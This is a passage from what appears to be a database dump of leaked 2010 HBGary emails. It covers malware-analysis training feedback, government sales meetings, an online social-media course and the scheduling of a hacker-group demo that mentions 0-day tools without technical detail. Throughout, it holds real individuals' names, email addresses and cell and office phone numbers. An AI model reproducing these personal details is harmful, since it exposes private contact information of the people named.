beyond\r\nthat?\r\n\r\nThursday or Friday around the same time should also be fine.  That might\r\nactually be better coming off the long weekend.  I don\'t think an NDA is\r\nnecessary for the meeting but it may be for sharing malware samples.  We\r\nare working that out.\r\n\r\nThanks,\r\nSean\r\n\r\n\r\n-----Original Message-----\r\nFrom: Maria Lucas [mailto:maria@hbgary.com]\r\nSent: Tuesday, August 03, 2010 1:20 PM\r\nTo: Sobieraj, Sean C\r\nCc: Copeland, Byron; Aaron Barr; Jim Richards\r\nSubject: Re: HBGary Training Feedback\r\n\r\nHi Sean\r\n\r\nThanks for the feedback! \r\n \r\nJim Richards, Training Manager will be incorporating your ideas -- some\r\nhe said are doable.... you should hear from Jim...  Support is\r\nresearching the ticket and will retrace to see what happened on our end.\r\n \r\nFor additional training, Phil Wallisch said that he will call you in\r\nSeptember and schedule time to work with you and your team in the lab.\r\nPlus, you may repeat the class anytime, or you may send a person to\r\naudit the next 3 day class and provide feedback...  \r\n \r\nWith regards to the date.  Aaron Barr is available Tuesday for a 10:30\r\nam meeting.  I would be available if the meeting were set later in the\r\nweek, but it is reallly Aaron that you need to speak with.  Aaron has an\r\nISSA Clearance, which equates to ts/sci/g/h.  Did you want to have an\r\nNDA in place for the meeting?\r\n \r\nI will also be with Aaron at the GFIRST conference..........\r\n \r\n \r\nMaria\r\n\r\n\r\nOn Tue, Aug 3, 2010 at 6:06 AM,  wrote:\r\n\r\n\r\n	Maria,\r\n	\r\n	Here\'s some feedback regarding the Responder Pro training:\r\n	- The instructor was very knowledgeable and helpful, however\r\nthere was\r\n	not enough time to cover all the material.  What we did cover\r\nwas rushed\r\n	and other sections were omitted entirely.\r\n	- There was no thorough review of the lab exercises.  For some\r\nwe were\r\n	provided the correct answers and the rest we did not review at\r\nall.\r\n	- It was not clear what level of experience was expected by the\r\n	students.  There were many with little knowledge of malware\r\nanalysis who\r\n	had a hard time following the material, and didn\'t understand\r\nwhy you\r\n	would look some places for information and what made it\r\nsignificant.\r\n	- Students had to spend time installing programs and updates and\r\n	figuring out how to disable the AV after we determined it was\r\ncorrupting\r\n	the lab files.  This took away from the time doing analysis.\r\n	- The multiple choice quizzes in the lecture material were not\r\nhelpful.\r\n	- Although more of an admin issue, the directions to the class\r\nhad us\r\n	report to a classroom in a different building that apparently\r\nhad not\r\n	been used for this training in some time.\r\n	\r\n	Some suggestions:\r\n	- Increase the length of the course to allow sufficient time for\r\nreview\r\n	and discussion of the material.  (I heard it was changed to 3\r\ndays.)\r\n	- Increase the hands-on time so the lab exercises equal or\r\nexceed the\r\n	lecture time.\r\n	- Step through an entire analysis, including compiling the data\r\ninto a\r\n	report.  A more linear approach to analysis with somewhat of a\r\ndecision\r\n	tree like you mentioned might help people understand the process\r\nas it\r\n	relates to Responder Pro when first being introduced to it.\r\n	- Possibly allow an opportunity to analyze malware samples\r\nprovided by\r\n	the students, with the students collaborating on the analysis\r\nand using\r\n	the techniques taught in class.\r\n	- A performance evaluation at the conclusion of training.  Not\r\nmultiple\r\n	choice questions, but a sample requiring analysis, with a\r\npassing grade\r\n	being a report with the required information.\r\n	\r\n	As a result of the lack of review and discussion, and omitted\r\nlecture\r\n	material, the class was of little value and didn\'t not\r\nsignificantly\r\n	contribute to our ability to use Responder Pro for malware\r\nanalysis.\r\n	\r\n	Unrelated to the class, an analyst here had a poor experience\r\nwith\r\n	HBGary\'s technical support.  This person never received an email\r\nor call\r\n	about the ticket (#394) until after receiving a notification\r\nthat it had\r\n	been closed without the problem being resolved.  I believe the\r\nissue was\r\n	addressed at the class.\r\n	\r\n	Regarding the Threat Management Center demo, how does early\r\nSeptember\r\n	sound?  Maybe sometime after 10am on September 7th?\r\n	\r\n	Thanks,\r\n	Sean\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n--\r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax:\r\n240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n \r\n \r\n\r\n',8799,'aaron_hbgary_com/8799.html'),(9683,'2010-08-04','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007634.M550270P14101Q4538.eml','christian.howell@dhs.gov,christian.howell@dhs.gov','HBGary Active Defense White Paper','Hi Chris\r\nCan&#39;t recall if I sent you the Active Defense White Paper? \r\n \r\nI also wanted to offer that we can come by and present Active Defense to a larger group if that would help you in obtaining approval for an Active Defense pilot?  \r\n \r\nLooking forward to your response next week regarding the pilot,\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',9293,'aaron_hbgary_com/9293.html'),(9684,'2010-08-04','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297007635.M15288P14101Q4539.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: FW: project x','Just landed. Will call you in 20 min.\r\n\r\nOn 8/4/10, Aaron Barr  wrote:\r\n> Dude,\r\n>\r\n> What is up with the \"other IP addresses\".  What is the relevance/context of\r\n> those.\r\n>\r\n> Aaron\r\n>\r\n> On Aug 4, 2010, at 8:54 AM, Rich Cummings wrote:\r\n>\r\n>> Here are the 2 spreadsheets I was given.  There’s  a lot of noise in this\r\n>> but I know there are nuggets of gold in there. J\r\n>>\r\n>> From: Michael G. Spohn [mailto:mike@hbgary.com]\r\n>> Sent: Thursday, July 22, 2010 11:42 PM\r\n>> To: Rich Cummings\r\n>> Subject: Fwd: project x\r\n>>\r\n>>\r\n>>\r\n>> -------- Original Message --------\r\n>> Subject:\r\n>> project x\r\n>> Date:\r\n>> Thu, 22 Jul 2010 20:07:44 -0400\r\n>> From:\r\n>> Anglin, Matthew \r\n>> To:\r\n>> Michael G. Spohn \r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> Matthew Anglin\r\n>> Information Security Principal, Office of the CSO\r\n>> QinetiQ North America\r\n>> 7918 Jones Branch Drive Suite 350\r\n>> Mclean, VA 22102\r\n>> 703-752-9569 office, 703-967-2862 cell\r\n>>\r\n>> \r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n\r\n-- \r\nSent from my mobile device\r\n',4420,'aaron_hbgary_com/4420.html'),(9685,'2010-08-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297007635.M250034P14101Q4540.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: NG','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI said it had to be a near term opportunity or they had to pony\r\nup money.  We mutually agreed that we were not marriage material.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 04, 2010 3:07 PM\r\nTo: Bob Slapnik\r\nSubject: Re: NG\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSo 7b yet they won\'t pony up money? &nbsp;Right.\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 4, 2010, at 3:02 PM, Bob Slapnik &lt;bob@hbgary.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nWell, I blew off another NG group that has 2 IRADs.&nbsp; They said they have\r\nidentified $7 billion in opportunities over the next 5 years.&nbsp; BFD.\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\nOn Mon, Aug 2, 2010 at 4:41 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI\r\nhave a conf call with Sean Tulles of NG.&nbsp; Do you know him?&nbsp; According\r\nto a guy who works for him he has 2 IRAD projects going after big\r\nprograms.&nbsp; I am going to maintain the same approach working with\r\ncontractors.&nbsp; It must be quid pro quo.&nbsp; If they can’t show me a quick\r\npath to revenue then I don’t participate.&nbsp; ManTech has shown us that there\r\ncan be short term revenue.&nbsp; I have a meeting later in the month with\r\nLMCO.&nbsp; They are the prime for three contracts that have money right now to\r\nbuy software.&nbsp; It simply doesn’t make any sense for us to spend time on\r\nmaybe money 1-2 years out.&nbsp; If it is beyond my near term time horizon it\r\nsimply doesn’t exist.\r\n\r\n&nbsp;\r\n\r\nBob\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/04/10\r\n00:45:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',589,'aaron_hbgary_com/589.html'),(9686,'2010-08-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007635.M524317P14101Q4541.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com,\"Jim Richards\" <jim@hbgary.com>','Online Social Media Training','Ok - I have our online training site all set up.  Customers can register online and pay using Paypal.  I put a test course in the schedule for next Friday (assuming the course content is all done by then), I&#39;d like to invite a small group of potential customers to sit in for free to audit the class and provide feedback.\r\nThe course catalog and registration is at:training.hbgaryfederal.com-- Ted\r\n\r\n',693,'aaron_hbgary_com/693.html'),(9687,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007635.M817950P14101Q4542.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Online Social Media Training','Sent from my iPhoneBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;Date: August 4, 2010 3:41:55 PM EDTTo: Greg Hoglund &lt;greg@hbgary.com&gt;, Barr Aaron &lt;aaron@hbgary.com&gt;, mark@hbgary.com,&nbsp; Jim Richards &lt;jim@hbgary.com&gt;Subject: Online Social Media TrainingOk - I have our online training site all set up. &nbsp;Customers can register online and pay using Paypal. &nbsp;I put a test course in the schedule for next Friday (assuming the course content is all done by then), I\'d like to invite a small group of potential customers to sit in for free to audit the class and provide feedback.\r\nThe course catalog and registration is at:training.hbgaryfederal.com-- Ted\r\n\r\n',2962,'aaron_hbgary_com/2962.html'),(9688,'2010-08-04','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007636.M261070P14101Q4544.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','RE: TSA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYes he can.&nbsp; Doug should meet Aaron\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Wednesday, August 04, 2010 11:48 AM\r\nTo: Aaron Barr\r\nCc: Penny Leavy; Greg Hoglund\r\nSubject: Re: TSA\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCould Aaron attend the meeting with Bob and Doug\r\nMaughan?&nbsp; It is scheduled for next Tuesday -- waiting for Dale\'s\r\nconfirmation....\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAlternatively, once Dale is available I can setup a time for\r\nhim to meet Aaron and learn about HBGary Federal Services.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Aug 4, 2010 at 11:33 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nPenny,\r\n\r\nIt would be worth mentioning to Doug and Dale next week that HBGary Federal is\r\ngoing after the TSA ITSSS RFP that was just released. &nbsp;I would be very\r\ninterested to get their reaction. &nbsp;This is the SOC/Forensics $190M\r\ncontract that would inevitably use AD.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4638,'aaron_hbgary_com/4638.html'),(9689,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007636.M30189P14101Q4543.eml','\"Greg Hoglund\" <greg@hbgary.com>','Security','Ok obvious statement.  Security is about how much good data you have and your methods for analyzing it.\r\n\r\nI pulled all the ops listed on MDL for the past 6 months.  I was specifically looking for trends in the use of certain domains.  Not very effective eyeballing it but I did see an increased us of domainsbyproxy over the last few months.  If we could get end games to collect that level of data on all their ops we could probably filter trends.\r\n\r\nJust a thought.\r\n\r\nSent from my iPhone',12120,'aaron_hbgary_com/12120.html'),(9690,'2010-08-04','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007636.M492799P14101Q4545.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Online Social Media Training','OK this is cool\r\n \r\nAaron\r\n \r\nDoug Maughan&#39;s office promoted the HBGary Responder FE training.  They may able to send out an invite and fill the class with some of the same folks and then the word spreads -- that is how we were able to get reaquainted with Brian Christos for example.  It really worked.\r\n\r\n \r\nMaybe then can provide a room as well....  If it goes well the word will spread...  alternatively you can advertise at GFIRST and fill a class that way.\r\n \r\nAlso for course outlines it is a good if the reader can go to one area to spead read\r\n \r\n \r\n \r\nCourse Name\r\nCourse Pre-requisite\r\nCourse Objective  -- To empower people using Social Media to protect themselves from predators:\r\n*\r\n*\r\n*\r\n \r\nCourse description\r\n \r\nMaria\r\nOn Wed, Aug 4, 2010 at 12:44 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nSent from my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;Date: August 4, 2010 3:41:55 PM EDTTo: Greg Hoglund &lt;greg@hbgary.com&gt;, Barr Aaron &lt;aaron@hbgary.com&gt;, mark@hbgary.com,  Jim Richards &lt;jim@hbgary.com&gt;\r\nSubject: Online Social Media Training\r\n\r\n\r\nOk - I have our online training site all set up.  Customers can register online and pay using Paypal.  I put a test course in the schedule for next Friday (assuming the course content is all done by then), I&#39;d like to invite a small group of potential customers to sit in for free to audit the class and provide feedback. \r\n\r\nThe course catalog and registration is at:\r\ntraining.hbgaryfederal.com\r\n\r\n-- Ted-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',8699,'aaron_hbgary_com/8699.html'),(9691,'2010-08-04','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007636.M722337P14101Q4546.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Dale.Beauchamp@dhs.gov\" <dale.beauchamp@dhs.gov>,\"Bob Slapnik\" <bob@hbgary.com>,\"Luke.Berndt@dhs.gov\" <luke.berndt@dhs.gov>,\"Penny Leavy\" <penny@hbgary.com>,\"Douglas.Maughan@dhs.gov\" <douglas.maughan@dhs.gov>,\"SandT-Cyber@hq.dhs.gov\" <sandt-cyber@hq.dhs.gov>','Invitation: Doug Maughan / Dale Beauchamp --review of Acquisition 	opt... @ Tue Aug 10 2pm - 3pm (aaron@hbgary.com)',' more details &raquo;Doug Maughan / Dale Beauchamp --review of  Acquisition options available to TSAAgenda\r\n\r\nTSA requirements for Active Defense &amp; Review of current Acquisitions Process\r\nAlternative acquisition vehicles available to TSA \r\n\r\nDoug Maughan -- DHS Science &amp; Technology Program Manager\r\nDale Beauchamp - TSA Branch Chief Digital Forensics\r\n\r\nWhenTue Aug 10 2pm – 3pm Eastern TimeWhere1120 Vermont Ave NW, Washington DC 20005 (map)Calendaraaron@hbgary.comWho&#x2022;maria@hbgary.com - organizer&#x2022;Aaron Barr&#x2022;Dale.Beauchamp@dhs.gov&#x2022;Bob Slapnik&#x2022;Luke.Berndt@dhs.gov&#x2022;Penny Leavy&#x2022;Douglas.Maughan@dhs.gov&#x2022;SandT-Cyber@hq.dhs.govGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',6263,'aaron_hbgary_com/6263.html'),(9692,'2010-08-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007637.M400012P14101Q4548.eml','\"Brian Coulson\" <bcoulson@digitalglobe.com>,\"Brian Coulson\" <bcoulson@digitalglobe.com>','Online Training','Hi Brian,We&#39;re taking our Social Media training and developing an online class.  The class will be lead by a live instructor, and will accommodate up to 25 students.  We plan to do a pilot class late next week or the week after.  Would you be interested in attending, free of charge?  The pilot will be a 2-hr abbreviated version of the Executive (4hr) class.  The goal is to fully test the online training environment and solicit feedback on the entire experience and training materials.\r\nInterested?Ted-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',6132,'aaron_hbgary_com/6132.html'),(9693,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007637.M41340P14101Q4547.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>,\"Bill Luti\" <wluti@digitalmanagement.com>','Dhs/tsa meeting','I am meeting with doug maughn and dale.beauchamp next week.  They were leading the TSS procurement of HBGary.  I\'ll make sure to drop some hints. ;)\r\n\r\nSent from my iPhone',4153,'aaron_hbgary_com/4153.html'),(9694,'2010-08-04','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297007637.M667522P14101Q4549.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Dhs/tsa meeting','Tell Doug I said hello. I was in his office several  months ago and know him through SITE.\r\n\r\nCan you call me to discuss ManTech? \r\n\r\n(240)383-1439 office\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 04, 2010 3:57 PM\r\nTo: John Fanguy; William Luti\r\nSubject: Dhs/tsa meeting\r\n\r\nI am meeting with doug maughn and dale.beauchamp next week.  They were leading the TSS procurement of HBGary.  I\'ll make sure to drop some hints. ;)\r\n\r\nSent from my iPhone\r\n',202,'aaron_hbgary_com/202.html'),(9695,'2010-08-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007637.M917373P14101Q4550.eml','\"Winterfeld, Steven P (TASC Inc)\" <steven.winterfeld@tasc.com>,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: FW: FW: Hacker Group','This is becoming a headache.---------- Forwarded message ----------From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: Wed, Aug 4, 2010 at 2:48 PMSubject: Re: FW: FW: Hacker GroupTo: JJ Cummings &lt;jcummings@sourcefire.com&gt;We don&#39;t have to do this, I was asked by Steve Winterfeld, and you never responded to my previous email to confirm the date.  Since you/your group were obviously not planning on our talk/demo, I&#39;ll respectfully opt-out now.\r\n\r\nRegards,TedOn Wed, Aug 4, 2010 at 2:37 PM, JJ Cummings &lt;jcummings@sourcefire.com&gt; wrote:\r\n\r\nI have not, but it seems like it might be useful... The group is open to it but at the current facility... will that work for you?  Also, stick to the technical stuff if at all possible ;-)\r\n\r\n\r\nOn Wed, Aug 4, 2010 at 10:29 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\nHave you seen this (attached whitepaper)?TedOn Wed, Aug 4, 2010 at 10:26 AM, JJ Cummings &lt;jcummings@sourcefire.com&gt; wrote:\r\n\r\n\r\n\r\nI&#39;m more speaking for the group here... but yeah.. something that will help them learn / understand how it all fits together... I have been thinking about putting together a series of talks, for example, that walks through reading assembly through finding a vuln in it and developing an exploit for that vuln..\r\n\r\n\r\n\r\n\r\nOn Wed, Aug 4, 2010 at 10:25 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nWe won&#39;t have time to go through all of the things I listed below.  I&#39;m guessing that you&#39;d be most interested in seeing an 0-day demo, is that right?Ted\r\n\r\n\r\n\r\n\r\nOn Wed, Aug 4, 2010 at 10:22 AM, JJ Cummings &lt;jcummings@sourcefire.com&gt; wrote:\r\n\r\nAs long as it&#39;s not a sales pitch ;-)On Wed, Aug 4, 2010 at 10:20 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre we on for the 12th?Our address is:103 S. Wahsatch Ave.Colorado Springs, CO 80903We are located on the SE corner of Colorado &amp; Wahsatch.  Park in the back.  Much of the upstairs is an Antique store.  We are located in the lower level.  The Triple Nickel Tavern is right across the street, so easy access if we want to go have a drink after the meet... \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs far as the demo/talk, what would most interest your group, here are some ideas:1.  We could talk about/demo Responder Pro &amp; DDNA.2.  We could talk about/demo our new Threat Monitoring Center.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n3.  We could talk about/demo our new Active Defense Product (for Enterprises).4.  We could talk about/demo our Fingerprint tool that we released at Blackhat.5.  We could talk about/demo one of our 0-day tools (not for sale, but cool to watch).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTedOn Wed, Jun 30, 2010 at 5:15 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry for the delayed response, we had travel plans for next week and I needed to confirm the dates.  Unfortunately we&#39;ll be in Sacramento July 6-8th.  Can we plan for Aug 12th (2nd Thur in Aug)?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed\r\nOn Tue, Jun 29, 2010 at 11:22 AM, JJ Cummings &lt;jcummings@sourcefire.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJuly or Aug? As of now the next meeting should e scheduled for the 2nd Thurs of JulyOn Tue, Jun 29, 2010 at 11:18 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCan we schedule it for next month?On Tue, Jun 29, 2010 at 10:42 AM, Winterfeld, Steven P (TASC) &lt;steven.winterfeld@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed – do you want to do this? \r\n\r\n \r\n\r\n\r\n\r\nFrom: JJ Cummings\r\n[mailto:jcummings@sourcefire.com] \r\nSent: Monday, June 28, 2010 10:00 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nCc: Ted Vera\r\nSubject: Re: FW: FW: Hacker Group\r\n\r\n\r\n\r\n \r\n\r\nFrom a numbers perspective generally 5 - 10 (trying to grow\r\nit).. and from a skill level perspective, all over the board.. ppl that know\r\nsecurity inside and out and those that are new / just dabbling..\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJJC\r\n\r\n\r\n\r\nOn Mon, Jun 28, 2010 at 9:58 AM, Winterfeld, Steven P (TASC)\r\n&lt;steven.winterfeld@tasc.com&gt;\r\nwrote:\r\n\r\nJJ - can you give Ted a feel for the folks who would come...\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\n\r\n\r\n\r\n\r\n\r\nSent: Monday, June 28, 2010 9:57 AM\r\nTo: Winterfeld, Steven P (TASC)\r\n\r\n\r\n\r\nSubject: Re: FW: FW: Hacker Group\r\n\r\nSo would it be this Thursday?  Let me talk to Mark.\r\n\r\n\r\n\r\nOn Mon, Jun 28, 2010 at 9:51 AM, Winterfeld, Steven P (TASC)\r\n\r\n\r\n\r\n&lt;steven.winterfeld@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n&gt; Ted\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Do you want to try this week or shoot for next month?  If you&#39;re\r\nwilling to\r\n&gt; do it this week can you give me a paragraph I can share with the guys.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Steve\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; PS - Is it OK to do it at your place?\r\n\r\n\r\n\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; From: JJ Cummings [mailto:jcummings@sourcefire.com]\r\n\r\n\r\n\r\n&gt; Sent: Monday, June 28, 2010 9:47 AM\r\n\r\n\r\n\r\n\r\n\r\n&gt; To: Winterfeld, Steven P\r\n(TASC)\r\n&gt; Subject: Re: FW: Hacker Group\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; I dunno, we should start pushing now... can you get a description and shit\r\n&gt; so that we can send out to the list...\r\n&gt;\r\n&gt; On Mon, Jun 28, 2010 at 9:45 AM, Winterfeld, Steven P (TASC)\r\n&gt; &lt;steven.winterfeld@tasc.com&gt;\r\nwrote:\r\n&gt;\r\n&gt; Do we have a plan?  How many folks do you think we will get if we\r\nannounce\r\n&gt; he will show off HBGary tools?   Would hate to ask him to demo\r\nand have just\r\n&gt; us show up...\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; From: JJ Cummings [mailto:jcummings@sourcefire.com]\r\n&gt; Sent: Monday, June 28, 2010 9:17 AM\r\n&gt;\r\n&gt; To: Winterfeld, Steven P (TASC)\r\n&gt;\r\n&gt; Subject: Re: FW: Hacker Group\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; I think in an upcoming Thurs.. instead of the scheduled Fri we have moved\r\nto\r\n&gt; Thur\r\n&gt;\r\n&gt; On Mon, Jun 28, 2010 at 9:15 AM, Winterfeld, Steven P (TASC)\r\n&gt; &lt;steven.winterfeld@tasc.com&gt;\r\nwrote:\r\n&gt;\r\n&gt; JJ\r\n&gt;\r\n&gt; When do you want to have the next hacker group meeting?  Ted is willing\r\n&gt; to demo his system (think we could use his office to have the meeting\r\n&gt; down town.  It is within walking distance of the bars...\r\n&gt;\r\n&gt; Steve\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt; Sent: Monday, June 28, 2010 8:29 AM\r\n&gt; To: Winterfeld, Steven P (TASC)\r\n&gt; Subject: Hacker Group\r\n&gt;\r\n&gt; Hi Steve,\r\n&gt;\r\n&gt; I&#39;m back in the office and was wondering when your next hacker meeting\r\n&gt; is?  Mark and I need to travel to Sacramento sometime either late this\r\n&gt; week or early next.\r\n&gt;\r\n&gt; Ted\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; JJ Cummings\r\n&gt; P: (719) 924-5263\r\n&gt; jj.cummings@sourcefire.com\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; JJ Cummings\r\n&gt; P: (719) 924-5263\r\n&gt; jj.cummings@sourcefire.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nJJ Cummings\r\nP: (719) 924-5263\r\njj.cummings@sourcefire.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n-- JJ CummingsP: (719) 924-5263jj.cummings@sourcefire.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- JJ CummingsP: (719) 924-5263jj.cummings@sourcefire.com\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- JJ CummingsP: (719) 924-5263jj.cummings@sourcefire.com\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n-- JJ CummingsP: (719) 924-5263jj.cummings@sourcefire.com\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  